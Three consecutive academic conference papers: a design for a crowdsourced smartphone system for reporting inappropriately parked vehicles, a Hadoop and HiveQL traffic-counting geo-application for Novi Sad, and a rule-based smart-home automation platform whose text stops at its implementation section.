CROWDSOURCING MODEL FOR REDUCING INAPPROPRIATE PARKING IN URBAN AREAS

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Abstract:

Inappropriately parked vehicles cause inconvenience and threat to many traffic participants. Current ways to solve this problem are slow and inefficient, letting unscrupulous drivers escape without penalties. As a result, number of vehicles that are inappropriately parked increases every day. If we could timely notice inappropriately parked vehicles and inform the authorities promptly, it would be harder for drivers to get away without being fined. Awareness that inappropriate parking would not go unnoticed would impel them to do it more rarely. This paper proposes a design of the new system, based on smartphones and new concepts such as participatory sensing and crowdsourcing, that can timely notice inappropriate parking and inform the responsible ones with the aim to eradicate inappropriate parking.

Keywords:

parking, crowdsourcing, smartphone, participatory sensing.

1. INTRODUCTION

The inappropriate parking of vehicles causes many problems not only to the other drivers but to all traffic participants. Vehicles can be inappropriately parked on different places including the edge of the roads slowing other vehicles and causing traffic jams and congestions, or on the pavements causing inconvenience and threats to pedestrians especially the old and mothers with baby strollers. Beside roads and pavements, there are many areas where parking is strictly forbidden such as: bicycle paths, pedestrian crossings, near railroad crossings, within any tunnel or subway or on any bridge, etc. [1]. If a police officer in charge of traffic control finds inappropriately parked vehicle, they have the authority to order the driver to immediately remove the vehicle under the threat of enforcement [1]. If a driver is absent, the police officer has authority to issue a traffic ticket for the vehicle removal within a period which may not be less than three minutes [1]. As there are not enough police officers to cover the whole urban area, vehicles are parked inappropriately for very long periods of time and very often not fined in any way. If a mechanism that could timely discover inappropriately parked vehicles existed, there would be greater possibility to catch unconscientious drivers. In this way, those drivers would become more aware thus slowly decreasing the number of inappropriately parked vehicles. For all these reasons, there is a

growing demand for a solution that would enable timely noticing of inappropriately parked vehicles and informing the responsible ones. This paper proposes a solution that would enable timely noticing of inappropriate parking and informing the authorities.

In order to prevent inappropriate vehicle parking in cities, a system which can easily involve a large number of citizens in solving the problem is proposed. To the best of our knowledge, no other researches that solve the problem of inappropriately parked vehicles using the technologies that we use in our research have been conducted.

This paper is organized as follows. Section 2 presents the previous work related to the problem. Section 3 introduces the enabling technologies and concepts. Overall system design is proposed in the Section 4. A case study is represented in the Section 5, while conclusions and future works are given in Section 6.

2. LITERATURE REVIEW

Nowadays, the parking problems have been one of the most discussed topics by the public [2]. Smartphones play an important role in solving the problems related to finding a free parking lot in the big cities. In recent years, many studies indicate that the mobile Internet and the concept of the connected car have advanced at fast pace [3]. The progressive development of ICT has considerable influence on transportation sector; one of the major being parking the vehicle [4]. Furthermore, it is substantiated by an increasing number of mobile crowdsourcing applications allowing users to share information about empty parking lots [5].

Although these researches solve some aspects of the parking problems, problems related to the inappropriately parked vehicles continue to exist. The main problems faced by the municipal parking services are large areas that should be monitored with very low chance that inappropriate parking is fined and improperly parked vehicles are promptly removed. Previous studies indicate the growing importance of smartphones in solving inappropriate parking problem as well as finding free parking lot [2]. The United Kingdom has recently launched crowdsourcing project for reporting inappropriately parked vehicles. Every citizen in UK with the UK Car Park Management (CPM) mobile app can report illegally parked cars anonymously to the CPM by sending a photograph of it. The CPM then uses the number plate to find the driver via the driver vehicle and licensing agency (DVLA) database and sends them a fine. Fined driver would not know if they have been caught by a parking warden or a member of the public [6]. The City of Minneapolis has developed web reporting application [7]. However, further research in this area point out influence of mobile apps and smartphones as devices with embedded high quality cameras that are always connected to the Internet so users can quickly and easily report the problem. Further research must be directed to encourage users to widely use the mobile app. For example, a registered user who reports certain number of inappropriately parked vehicles should be rewarded by decreasing annual fee for their vehicle registration. Moreover, the benefits of mobile app should be notifying the driver of a possible inappropriate parking or stopping, based on the previously removed vehicles from the same location. Users of the app should be able to get a warning to immediately remove the vehicle if it is detected by a submission with the lowest degree of urgency. The usefulness of these ideas reflected in preventive effect on unintentional parking.

3. ENABLING TECHNOLOGIES AND CONCEPTS

The proposed system uses smartphones equipped with GPS sensor and camera, and is based on concepts such as participatory sensing and crowdsourcing. The technology and concepts will be further explained in this section.

Smartphones equipped with GPS sensor and camera

With the increasing number of rich embedded sensors, smartphones are no longer just simple communication devices, but powerful mobile sensor platforms [8] used by more than 2 billion people [9]. They are usually equipped with sensors such as accelerator, gyroscope, proximity sensor, front and back facing camera, GPS, etc. They have become open and programmable devices offering software development kits, APIs and software tools. The combination of these advances enables the development of the new applications across a wide variety of domains, such as healthcare [10], [11], social networks [12], safety, environmental monitoring [13], transportation [14], etc.

The GPS stands for Global Positioning System which was originally developed for the military purposes. GPS sensor allows the phone to be localized with the accuracy within 10 meters enabling a whole new myriad of locations-based applications, such as local search, mobile social networks, navigation etc.

Crowdsourcing and participatory sensing

Participatory sensing represents data collection where the user is actively engaged. Although it can be realized using different devices, "several features of mobile phones make them a special and unprecedented tool for engaging participants in sensing their local environment" [15]. Cellular infrastructure is widespread and a number of smartphone users increases every day enabling collection of huge amount of data generated by smartphone users. This concept is getting more interest in the field of smartphones as it enables diverse possibilities through performing large-scale sensing. Each user can contribute its sensed data using collaborative sensing application. A participatory smartphone sensing system consists of sensing platform and many smartphone users who can send sensed data to the platform using cellular data channels [16]. So far there are many researches devoted to the developing various applications such as: application that uses location data sampled from everyday mobile phones to calculate personalized estimates of environmental impact and exposure [13] or exposure to noise [17], etc.

The term "crowdsourcing" was first introduced by Jeff Howe in 2006 [18] and can be defined as "a type of participative online activity in which an individual, an institution, a non-profit organization, or company proposes to a group of individuals of varying knowledge, heterogeneity, and number, via a flexible open call, the voluntary undertaking of a task" [19]. The crowd participates in the task while the mutual benefit exists both to the crowd participants and the crowdsourcer - the person that initiates crowdsourcing processes [19]. Today there are different non-profit crowdsourcing applications such as Wikipedia [20], OpenStreetMap [21] and commercial ones such as [22], [23], [24]. Crowdsourcing can be used for obtaining information, thus replacing the enormous human and infrastructure resources. It relies exclusively on the smartphones which users already own [5].

Participatory sensing can be combined with crowdsourcing enabling a new way of collecting data that can be used with the aim to enhance quality of life in the urban environments. That integration can be done in the following way: citizens can use smartphone application to gather different data that can be later validated, processed and used by authorized personnel or different communal services.

4. OVERALL SYSTEM DESIGN

The increasing deployment and exploitation of pervasive computing technologies is making our urban environments very rich in terms of sensing, actuating and computing devices. Smartphone equipped with GPS and camera with embedded computational, communication and storage capabilities represents one of them. As it is open and programmable device, different applications can be developed.

Our proposed system should be composed of two smartphone applications: one for the public, and the other should be only available to the authorized personnel.

The first application could be used by public and its main purpose would be to enable capturing of the inappropriately parked vehicles. The application should enable the citizen to take the picture of the inappropriately parked vehicle. Taking a picture should be done manually, while the rest of the data such as their GPS coordinates and accurate time should be automatically determined and uploaded to the server together with the captured picture. The image with GPS coordinates represents a submission made by a citizen. Beside this role, the application should enable different views of resolved and unresolved submissions based on different searches and different distribution of submissions showing the time of the day to pinpoint hours when the number of inappropriately parked vehicles was the highest.

The second application should be used by an authorized person with the aim to determine the validity and priority of the received submission. Only after an authorized person approves/declines pending submission and marks its priority, it should become visible to police officers on the field or any authorized person who is allowed to perform the removal of the vehicles. The application will show the customized ordered list of submissions based on submission priorities and the location of the authorized person. After performing some action, the authorized person should mark the submission as solved and the way it was done. A notification about solved submission should be sent to the citizen automatically. This way the time needed to perceive inappropriately parked vehicle and perform an action such as issuing a fine or physically removing the vehicle, would significantly decrease. The Figure 1 shows the UML collaboration diagram of the proposed system.



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Fig. 1. UML collaboration diagram of a citizen submission

Both applications should be smartphone applications developed for different kind of smartphones (based on Android and iOS) and deployable for every smartphone user, thus enabling greater availability. Different technologies and programming languages should be used: Java can be used for developing Android application while Swift will be used for developing applications for iPhone users. In order to be used by a great number of people, applications must be easy to use, user-friendly and intuitive. Every citizen interested in participation would need to create an account. That would reduce the number of inappropriate submissions. The data should be distributed through different servers to minimize different types of attacks, especially DDoS attacks. Every sent submission will be stored in a relational database, such as mySQL. If we restrict our solution to one big city, we expect that the number of submissions would not be that "big" and that the standard database tools would be enough. To enforce citizen engagement, the application must provide feedbacks to the users - especially for the submissions they sent.

5. AN EXAMPLE SCENARIO

As citizens are moving through city they can produce great loads of data. Many of them are equipped with a smartphone with embedded camera and GPS and it can be used to solve some everyday problems. Anyone interested can use his own device to contribute.

For example, if someone notices inappropriately parked vehicle, they can use previously downloaded application and take a photo of the vehicle adding optional description. Using mobile networks or WIFI, the picture with the person's GPS coordinates and the actual server time would be sent to the server. At the same moment, an authorized person receives notification about new pending submission. They make sure that the picture is valid in terms that it really represents inappropriately parked vehicle and marks its priority. Every police officer on field sees their customized list of submissions that should be solved based on their current location and priority. A police officer reaches the location marked by the submission and solves "the problem" by removing the car or by writing a ticket. After solving the submission, they mark it as solved. The person who reported the problem receives the notification about its status and how it was solved.

The Figure 2 represents the inappropriate parking model with its main points: noticing an inappropriately parked vehicle and making an image using a smartphone application; sending a submission; submission validation; and finally removing the vehicle.



Fig. 2. Inappropriate parking reporting model

6. CONCLUSIONS AND FUTURE WORKS

Recent progress in pervasive computing enables innovative models and applications where a great number of people can be engaged in collaboration with the same aim: to solve problems that would not be able to be solved without the "crowd". Integrating pervasive computing technologies and crowdsourcing can change our environment in a better way increasing the quality of our lives. Citizens can use their smartphones as data-gathering devices and sensors can be used to sense the environment. Sensors such as camera or GPS embedded in smartphone can be used to develop mobile applications that can be used by a great number of citizens forming a new collective capacity with the aim to make positive influence in their living environment. Data produced by citizens who are interested to improve urban environment can be gathered by using a mobile application. A group of citizens could use their smartphones as a tool to take geotagged images as they move around and create a great amount of data which can be later used to prioritize different maintenance services - in our case to determine the priority of removing inappropriately parked vehicles.

This way a better control over inappropriate parking would be established. This application can be used by communal services to improve their work. It can support more dynamic and effective planning of maintenance activities, and can be a very effective way to make citizens feel as a part of the community. Additionally, data received this way can be thoroughly examined and can be used in making different estimations about different traffic conditions, marking spots with huge parking problems and using received data to calculate routes.

As previously mentioned - this research represents an innovative approach in solving the problem of inappropriately parked vehicles and can be used as a foundation for the comprehensive model that is able to deal with a wide variety of problems that exist in urban areas especially big cities where local services cannot meet the metropolitan challenges they are facing.

The next step would be development of these applications and testing the system in the urban environments. Such a system could be beneficial not only to the local government, but also to great number of citizens. In this model, we have focused on solving parking issues in one big city, but it would be possible to extend it to the whole country or even wider: to the whole world and the issues that can be solved this way are not limited to the parking. This expansion would lead to generating great amounts of heterogeneous data that could not be processed using relational databases and their tools. Therefore, one of our future steps would be to explore the big data and its role in solving different kind of issues by defining different patterns from the collected data and finding the way to use them more efficiently. One of the drawbacks of this approach is related to the quality of data which is dependent on the participant enthusiasm to take an active role.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

SOFTWARE AND INFORMATION ENGINEERING

DEVELOPMENT OF TRAFFIC GEO-APPLICATION BASED ON BIG DATA PROCESSING

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Abstract:

Past is a prelude. Historical data provides signals that indicate what may happen in the future. Analytic tools can be especially useful in helping travel and transportation companies mine and refine data to determine which information is valuable for optimizing business outcomes. In this research we define a methodology for developing traffic geo-applications, based on: 1) relational data model for calculated predefined attributes of the maps, 2) wide column data model for source traffic data store, and 3) schema on read modeling approach for traffic data analysis, ie. calculating of the attributes of the maps. According to the proposed methodology we have developed Traffic Counting geo-application, which enables on-line access, displaying and geo-location of traffic indicators, calculated and stored on Apache Hadoop database. We concluded that our approach is appropriate in scenarios that involve batch Big Data processing and predefined data analysis, but not appropriate for the on-line ad-hoc definition of arbitrary queries.

Keywords:

Hadoop, HDFS, HBase, HiveQL, Shema on Read.

1. INTRODUCTION

Traffic and transportation are now unthinkable without GIS. On the other hand, GIS and Big Data are two parts of a whole [1]. GIS tools search, sift and sieve data from multiple and disparate databases to organize it for better workflows and spatial analysis [2]. They run operations that aggregate terabytes and more spatial information, run analysis, and visualize results as maps. All this occurs in real-time, with multiple data streaming into the existing GIS for better understanding of spatial trends and relationships. The Big Data approach to GIS allows analysis and decision making from huge datasets, by using algorithms, query processing and spatiotemporal data mining [3]. Simply put, this means extracting information from maximum possible sources using established procedures and computational techniques.

For small and medium-sized transport companies and transportation authorities in developing countries GIS tools that can be purchased on the market are too expensive [4]. On the other hand, excellent tailor-made traffic data is the best basis for excellent transportation models. We want
to provide the traffic engineers and authorities with preattributed maps tailored to their specific needs, and to hire Big Data technology to calculate and store these attributes.

In the second section of the paper we have tried to answer the question: why Big Data technology in transportation? The third section is dedicated to defining the specific Big Data problem in traffic which we wanted to solve. In the fourth section we describe our solution based on Big Data processing of traffic data and Windows geo-application as graphical user interface (GUI). In the last section, we will discuss about the requirements, possibilities and constraints of our solution.

2. BACKGROUND

Companies focused on logistic management and transportation historically used data warehouses and business intelligence tools to report on and analyze customer behavior, optimize operations, and build advanced routing solutions. As logistics management and transportation networks become larger, more complex and driven by demands for more exacting service levels, the type of data that is managed also becomes more complex [5]. Today, these data sources include:

- Traditional enterprise data from operational systems,
- Traffic & weather data from sensors, monitors and forecast systems,
- Vehicle diagnostics, driving patterns,
- Financial business forecasts,
- Advertising response data,
- Web site browsing pattern data,
- Social media data [6].

Big Data is an approach to generating knowledge in which a number of advanced techniques are applied to the capture, management and analysis of very large and diverse volumes of data. As sensors become more prevalent in transportation vehicles, shipping, and throughout the supply chain, they can provide data enabling greater transparency than has ever been possible [7]. Such data will dwarf today's data warehouses and require Big Data Management Systems for processing and reporting. As a result of the complexity, diversity and stochastic nature of transportation problems, the analytical toolbox required of the transportation analyst must be broad [8].

Where Big Data differs from other technologies is in the sophistication of the analysis it applies [9]. While traditional analysis is often designed around the conditions that allow valid statistical inference about the characteristics of a population based on measurements on a small sample [10], Big Data analysis is built around the possibility of learning about systems by observing them in their entirety [11].

One of the leading vendors in the development of GIS-T applications is Esri. The most important Esri GIS-T applications are for: Airports and Aviation, Ports and Maritime, Railways, Roads and Highways and for Public Transport [12]. Esri offers the Spatial Framework for Hadoop that allows developers and data scientists to use the Hadoop data processing system for spatial data analysis. The Apache[™] Hadoop[®] software library is a framework that allows for the distributed processing of large data sets across clusters of computers using simple programming models [13]. For ArcGIS users Esri offers Geoprocessing Tools for Hadoop. Esri products visualize and analyze big data in a way that reveals patterns, trends, and relationships that reports don't. Even if data exists in many disparate places, Esri technology can pull it all together to help focus decision making.

Metro Transit of St. Louis (MTL) operates the public transportation system for the St. Louis metropolitan region. Hortonworks Data Platform (HDP) helps MTL meet their mission by storing and analyzing IoT data from the city's Smart Buses. HDP* helped the agency cut average cost per mile driven by its buses from \$0.92 to \$0.43 [14]. It achieved that cost reduction while simultaneously doubling the annual miles driven per bus.

Center for Advanced Aviation System Development (CAASD) provides the US Federal Aviation Administration (FAA) with specialized data analytics, simulation and computer modeling capabilities. "CAASD continuously ingests, stores and analyzes massive amounts of detailed flight data from a variety of sources and enriches it with other data, such as: pilot and air traffic controller voice recordings weather data, terrain maps, air traffic management system data, and aircraft schedules and flight plans. Altogether, CAASD has over a petabyte of data in its Hortonworks Data Platform (HDP[™]) clusters, deployed both on premises and in the cloud." [15].

3. PROBLEM DEFINITION

The amount of dynamic data generated in transportation industry by various sensors, GPS vehicle location tracking system and other mobile devices each year are developing from PB level to EB [5]. To count the traffic at the specified locations on the state roads in the Republic of Serbia 391 inductive loop detectors were used [16]. These detectors are QLTC-10C automatic traffic counters (ATC). Each counter generated 365/366 text files during one year. Each file contained about 10,000 records on average, so that the collected data for one year amounted about:

$$391 \text{ [counters]} \cdot 365 \text{ [days]} \cdot 10,000 \text{ [vehicles]} = (1)$$

$$1,427,150,000 \text{ [records]}$$

The first problem we wanted to solve was to hire Big Data technology to handle such large amounts of data (1) and to calculate the following indicators, from these data:

- Annual Average Daily Traffic (AADT) [vehicles/ day],
- Monthly Average [vehicles/day], Daily Traffic (MADT)
- AADT per directions [vehicles/day],
- MADT per directions [vehicles/day],
- AADT by directions and categories [vehicles/ day],
- Average speed of vehicles [km/h],
- Standard deviation of the vehicle speed [km/h],
- 85_{th} percentile of vehicle speed [km/h],
- Percentage of vehicles that exceed the speed limit [%],
- Average speeding [km/h], etc [17].

For example, AADT is a measure used primarily in transportation planning and transportation engineering [17]. AADT is a useful and simple measurement of how busy the road is. AADT along with it main characteristics – composition and time distribution (hourly, daily, monthly, yearly) is the basic and key input to the traffictechnical dimensioning of road infrastructure and road facilities. This parameter is used in: capacity analysis, level of service analysis, cost benefit analysis, safety analysis, analyses of pavement construction and for static calculation of road infrastructure objects, traffic forecasting, and others [18]. AADT presents the total volume of vehicle traffic of a highway or road for a year divided by 365 days (2).

The second problem we wanted to solve was to enable end-users on-line access, displaying and geolocation of traffic indicators, calculated and stored on Big Data platform. We decided to solve this problem through the development of a Windows geo-application, which will work with a local database, but will also be able to communicate with the database on a Big Data platform. This application should enable GUI to query the Big Data database and display query results in the tables, graphics and on the maps. Also, our application should possess the ability to store the results of the Big Data analysis in the local database. This means, that it is supposed to solve the third problem: the integration of the results of Big Data analysis with the existing data in the local database.

4. DEVELOPMENT OF TRAFFIC COUNTING GEO- APPLICATION

We decided to carry out the calculation of the above indicators over such a large amount of data on Apache Hadoop Big Data platform. Our solution was applied through a case study of the analysis of traffic data for ten locations on the state roads and streets in the town of Novi Sad, Serbia which the traffic counters generated during the 2015. The solution was implemented through the following phases:

1. Data which was generated by ten QLTC-10C ATC were collected in text files on file server.



Fig. 1. Relational model of traffic data

- 2. Based on the structure of data contained in files generated by traffic counters and based on the requirements of traffic engineers, in terms of the traffic data analysis and required traffic indicators, a relational data model was designed. Based on the data model shown in Fig. 1. Microsoft SQL Server 2012 database Traffic Indicators was designed and created. This database was designed for local storage of the results of batch data processing on the Big Data platform, as a one-time operation, for each year. Each of the tables in the database contains indexed fields.
- 3. For the storage and processing of traffic data the Apache Hadoop platform and Apache HBase was chosen. Apache HBase is a column-oriented Database Management System that runs on top

of Hadoop Distributed File System (HDFS). We have developed a non-relational wide-column data model, taking into account the structure of the source files and designed relational data model.

- 4. Using the Apache Ambari user interface, on the Hortonworks Sandbox - a single-node Hadoop cluster, with the help of HiveQL query language, based on developed non-relational data model, Apache HBase Traffic Analysis database was created. This database is NoSQL database. NoSQL is a current approach for large and distributed data management and database design.
- 5. Another application was designed to "clean up" the text files of any invalid records generated by traffic counters. For each counter, this application has consolidated the content of all 365 .txt files into a single large text file. During this operation the structure of source files is not changed. Instead, files are only normalised. Then, we uploaded each of the ten large .txt files into the HDFS. Using HiveQL query language we "filled" the HBase tables with the data from the .txt files.
- 6. We carried out numerous HiveQL queries on the Hadoop Traffic Analysis database resulting in useful information on traffic volumes, traffic structure, vehicle speeds, etc. HiveQL has the powerful technique known as Create Table As Select (CTAS). This type of HiveQL queries allow as to quickly derive Hive tables from other tables in order to build powerful schemas for Big Data analysis. This data modelling approach is known as schema on read. The example of CTAS query shown in Fig. 2. creates a new table in Hadoop Traffic Analysis database.

CREATE TABLE AADT_per_directions_and_categories AS SELECT Counter_name, SUBSTRING(TRIM(Date), 7, 4) As Year, Direction, Vehicle_category, FLOOR(COUNT(*)/365) As AADT FROM All_counters GROUP BY Counter_name, Year, Direction, Vehicle_category;

Fig. 2. One example of Create Table As Select queries in Hadoop database.

The table AADT_per_directions_and_categories has a same structure as the namesake table in relational data model on Fig. 1. This will allow the integration of data calculated on the Hadoop platform and data in existing SQL database. Queries results were traffic volume indicators and traffic safety indicators, for each counting place: AADT; AADT by directions; MADT by directions; AADT by directions and vehicle categories; average speed of vehicles; standard deviation of the vehicle speed; coefficient of variation of vehicle speed; 85th percentile of vehicle speed; percentage of vehicles that exceed the speed limit; average speeding, etc.

 In the Microsoft Visual Studio 2015, based on relational data model from Fig. 1., a Windows Forms application – Traffic Counting was developed. This geo-application will be used to interact with SQL Server database Traffic Indicators.

Traffic Counting geo-application has the following features:

- a) An intuitive GUI that allows traffic engineers to define the query parameters and start executing the queries against the database Traffic Analysis on the Apache Hadoop platform was created. Access to the Hadoop database from the Windows Forms application was enabled with the help of Hortonworks Hive ODBC Driver;
- b) The results of the query of the Hadoop database, with the help of Hortonworks Hive ODBC Driver, were stored in the local SQL Server database;
- c) Furthermore, a user interface for graphical and tabular display of query results was generated. Finally, for geo- location of query results in the Traffic Counting application we utilized Bing Maps and OpenStreetMaps.

In Fig. 3. is shown one window from Traffic Counting application, that displays the results of CTAS query shown in Fig. 2. - AADT by directions and vehicle categories.









On the graphs and on the maps in Fig. 3., for example, can be seen that the intensity of traffic flow is very uneven per direction, for counting places Bulevar Europe 3 and Somborski Bulevar. In Fig. 4. is shown one window from Traffic Counting application, that displays percentage of vehicle speeds above limit, and percentage of vehicle speeds above limit for more then 10 kilometers per hour, for each counting place. On the graph, on the table and on the map in Fig. 4., for example, can be seen that the percentage of vehicle speeds above limit for counting place Sančevi is 89.32 percent, and that the percentage of vehicle speeds above limit for more then 10 kilometers per hour, is even 61.66 percent. Contrary to that, at a counting place Alibegovac 57.29 percent of vehicles exceeding the speed limit, while only 18.29 percent of vehicles exceeding the speed limit by more than 10 kilometers per hour. V.

5. CONCLUSION

The proposed methodology for development of traffic geo- application over the local SQL Server database and over the Hadoop database is appropriate in scenarios that involve batch Big Data processing and predefined data analysis. This model is not appropriate for on-line ad-hoc definition of arbitrary queries against Hadoop database. The proposed integration model of local data and data on Big Data platform implies schema on read modeling approach.

Schema on read is the revolutionary concept that we don't have to know what we're going to do with our data before we store it. When we access data, when we query it, then we determine the structure we want to use. There is always a time cost to imposing a schema on data. In schema on write strategies, that time cost is paid in the data loading stage. In schema on read strategies, that time cost is paid when we query data.

Flexibility and reuse of raw/atomic data make the schema on read approach appropriate in scenarios of sharing data of public interest. In further research we will try to take advantage of this approach in sharing information of public interest in the field of transport, between various stakeholders.

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INTERNATIONAL SCIENTIFIC CONFERENCE ON INFORMATION TECHNOLOGY AND DATA RELATED RESEARCH

SOFTWARE AND INFORMATION ENGINEERING

RBHAS: A SIMPLE RULE-BASED WEB PLATFORM FOR SMART HOME AUTOMATION

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Abstract:

This paper presents a web software platform aimed at simple intelligent automation in a smart home. The domain logic relies on rule-based and case-based reasoning. The entire software architecture is a client-server architecture relying upon the MEAN stack.

Keywords:

Home automation, IoT, if-then rule, JColibri, MEAN stack.

1. INTRODUCTION

Internet of Things (IoT) can be defined as a network of physical devices with embedded technology for communication and monitoring or interacting with their internal state or environment [1]. The term Internet of Things was coined by Kevin Ashton in 1999 appearing first in his presentation maid for Procter&Gamble [2].

Dave Evans from Cisco predicted in 2011 that, by the end of 2020, the number of devices connected to the internet will reach 50 billion [3], while Morgan Stanley report from 2013 even exceeds Evans by the estimation of 75 billion [4]. The recent predictions are moderate but still remain within the range of 20 to 30 billion by the end of the year 2020. In addition, Gartner expects that the devices with only hardware communication support, requiring a software enabling connections to other devices, will become more frequent [1].

All what is stated above is a serious motivation for scientific research and development of new IoT applications. The results presented in this paper belong just to the latest of those two.

The rest of this paper is organized in four sections. The first one is about related work presenting existing research and results closely connected to the scope of this paper. The second section presents the architecture (software and functional) of the software platform proposed in this paper. Third section brings a brief description of implementation details. The last section contains concluding considerations.

2. RELATED WORK

Smart home installations become of high interest during the last decades due to their capacity to control and monitor operation of everyday processes in the house like lighting, heating, security, etc. [5].

There are numerous publications addressing various issues of smart home installations among which the lack of standards [6, 12] and the application of artificial intelligence (AI) techniques [7-11] are relevant for this paper.

As it is common to all technologies experiencing a rush growth, Internet of Things faces a serious problem of standardization. Even the elementary things like basic communication standards are the problem, not to mention those enabling for the higher levels of interoperability.

One solution to that problem could be the independent internet platform used to bridge the gap between connected devices and internet services by means of rules. One such platform is IFTTT¹. IFTTT rules are very simple IF-THEN constructs with IF part containing a simple condition and acting as a trigger that activates THEN part containing the corresponding action [13]. For the creation and execution of rules one can use a rule-based expert system [14].

Case-based reasoning (CBR) [15, 16, 17] is an AI technique that uses previous experience (cases similar to the current one) to understand and solve a new problem. CBR, which enables adaptation of the old solution to a new problem, is actually a cycle consisting of the "four R" processes (Retrieve, Reuse, Revise, and Retain).

3. RBHAS ARCHITECTURE

This section presents the system architecture, i.e. software architecture and functional structure.

Software architecture

The global architecture of the system is depicted by the Figure 1.

This is a client-server architecture with a web client and a server side consisting of three servers: Recommendation Server, Rule Engine Server, and Proxy Server through which IoT devices are accessing web services.

Recommendation Server consists of Web application, CBR application, and MongoDB database [25, 26, 28].

Web application serves communication with Rule Engine Servers, CBR application is aimed at rules recommendations, and the MongoDB stores the rules.



Fig. 1. Architecture of the system

Rule Engine Server is consisted of Web application, a rule- based system, and SQLite database [21]. Here, the Web application supports communication with Recommendation Server and Proxy Servers and, in addition, contains a client application that executes within a web browser. In our application the rule-based system is aimed at managing home devices and SQLite data base stores the rules and the data from IoT devices corresponding to a single home/apartment.

Proxy Server is used to resolve the lack of standards for the communication between IoT devices. Proxy server communicates with IoT devices in a device-specific way, transforms obtained data and sends it to the Rule Engine Server using a negotiated (in advance) protocol.

User interface is a client web application that, as mentioned above, executes within a web browser.

The database model is given on the Figure 2. Greencolored entities describe a rule, while blue-colored ones describe a device together with events and actions.

¹ IFTTT – an independent internet platform (if this then that), https://ifttt.com/



Fig. 2. Database model

Functional structure

Functional structure consists of four groups of functions. The first one comprises functions aimed at devices manipulation (adding new device and displaying existing devices). For adding a new device the REST [24] interface on the Rule Engine Server is used. REST request initiates a Proxy server. Each device is described by its name, type, events and actions that device is capable to execute. Events are described by their names and parameters. Parameter has name, operators, and type. Similar to events, actions are described by their names and arguments. Argument has a name and a type. Listing 1 presents a JSON description of a device, an airconditioner with two states (transmissions of information about state change and temperature change), and two actions (on/off switching, change of the temperature).

```
{
   name: 'Air Conditioner',
   type: 'air conditioner',
   events: [{
       name: 'Turned ON/OFF',
       parameters: [{
           name: 'State',
            operators: [{value: '='}],
            valueType: {name: 'enum', enums:
[{value: 'ON'}, {value: 'OFF'}]}
        }]
   }, {
       name: 'Temperature changed',
       parameters: [{
           name: 'Temperature',
           operators: [{value: '='}, {value:
'<'}, {value: '>'}],
           valueType: {name: 'float'}
        }]
   }1,
   actions: [{
       name: 'Turn ON/OFF',
        arguments: [{
           name: 'state',
            valueType: {name: 'enum', enums:
[{value: 'ON'}, {value: 'OFF'}]}
        }]
    }, {
        name: 'Change temperature',
       arguments: [{
           name: 'temperature'
            valueType: {name: 'float'}
        }]
    }]
```

Listing 1. An example of the JASON description of the device

The second group deals with rules (creating rules, events, and actions; displaying existing rules). Rules are defined by using user interface depicted on Fig. 3. IF part contains events connected by operators AND, OR. THEN part consists of the corresponding set of actions. When defining IF part of the rule, user defines a group firstly. All events from the same group are connected by OR operators and groups are connected by AND operators. User is allowed to edit and delete events and actions. If a user wants to delete a group, she/he only could do it by deleting all events from the group (then the group will be automatically deleted).

The rule shown on Fig. 3 contains two groups and one action. The first group has two events, "*10km Running*" and "*25km Cycling*", while the second one has one event, "*Temperature greater than 30*°C". This rule could be expressed using natural language as:

If (a person) has run for 10 km or cycled for 25km and the temperature is above 30°C, chill the apartment to 26°C.



Fig. 3. Defining a new rule

By clicking the button "Add new event" (Fig. 3) within a group, user adds a new event. Afterwards, the modal dialog (Fig. 4) appears requiring the selection of the event name, particular device, event type and values and operator for at least one parameter. The example on Fig. 4 has the event with name "*Temperature greater than 30*°C", selected device "*Air Conditioner*", and event type "*Temperature changed*". This event has only one parameter with a single operator ">", and the value "*30*".

Name	Temperature greate	er than 30°C	
Device	Air Conditioner		~
Event type	Temperature chang	ged	~
arameters			
Temperature	> \ 30		

Fig. 4. Modal dialog for adding a new event

Similarly to event defining, user can add a new action. Through the modal dialog the name of action, concrete device, action type, and values and operator for at least one parameter are entered. For example, the action name could be "*Temperature 26*", selected device "*Air Conditioner*", and action type "*Change temperature*". This action has only one argument with value "26".

The third group is action execution, which is rather simple. After detecting a change of value on a sensor, the Proxy Server transmits this change to the Rule Engine Server by means of REST. An example of JSON object describing a value change is shown on Listing 2.

[{	
	<pre>"eventId": 2,</pre>
	<pre>"parameterId": 2,</pre>
	"value": "32"
}]	

Listing 2. A JSON object describing a change of value

The fourth group is aimed at rules recommendation. Rules recommendation is an optional feature, i.e. the system can operate without Recommendation Server. The first thing is selection of events and actions of some registered device that a user wants to use in a new rule. A priority can be assigned to each event and action. Once a selection of events and actions is done, user requests recommendation that causes the Rule Engine Server to send a query to the Recommendation Server, which retrieves rules that match a query. Recommendation Server recommends rules by searching for rules that contain actions and events appearing in a query. The *N*-nearest neighbor algorithm is used for recommendation that operates on a rule base collected from other users. After receiving recommended rules, Rule Engine Server displays a list containing recommended rules. User can select a rule as it is or modify it prior to adding a rule in the rule base.

For example, a user can select two events "TV – Turned ON/OFF" and "Weather forecast – Weather type" with priorities 2 and 4 respectively (maximal priority is 5). Additionally, user can select one action "Light bulb – Turn ON/OFF" with priority 3. As a result three rules are recommended.

The first recommended rule is "Turn off the light if it's sunny" because this rule contains one event "Weather forecast – Weather type" and one action "Light bulb – Turn ON/OFF" from the query. Event has priority 4, and action has priority 3.

The second recommended rule is "Turn off the light if the TV is on". As the previous one, it contains one event "TV – Turned On/OFF" and one action "Light bulb – Turn ON/OFF" from the query, but in this rule the event has priority 2 and the action has priority 3.

Finally, the third recommended rule is "Turn off the light if the room is empty" because this rule contains only one action, "Light bulb – Turn ON/OFF", appearing in the query.

4. IMPLEMENTATION DETAILS

So far two servers out of three are implemented, Rule Engine Server and Recommendation Server. This section presents some characteristic details of their implementation.

Rule Engine Server

For the implementation of the Rule Engine Server Node.js [17, 18, and 19], SQLite [21], Sequelize [22], and Nools [29, 30] are used. The application is composed of four modules: Devices Module, Database Module, Rule Module, and Recommendation Module.

Devices Module

This module, which enables (via REST) client application to get a list of all registered devices and to register a new device, has one Express router. This module uses services of the Database Module.

Database Module

Database Module uses object-relational mapping for CRUD operations. For this mapping the framework *Sequelize* is used that requires all entities to be described in JavaScript. An example of the entity Action is shown on Listing 3.

```
sequelize.define('action', {
   name: {
    type: DataTypes.STRING,
    allowNull: false
   }
}, {
   tableName: 'action'
});
```

Listing 3. Entity Action table scheme

Rule Module

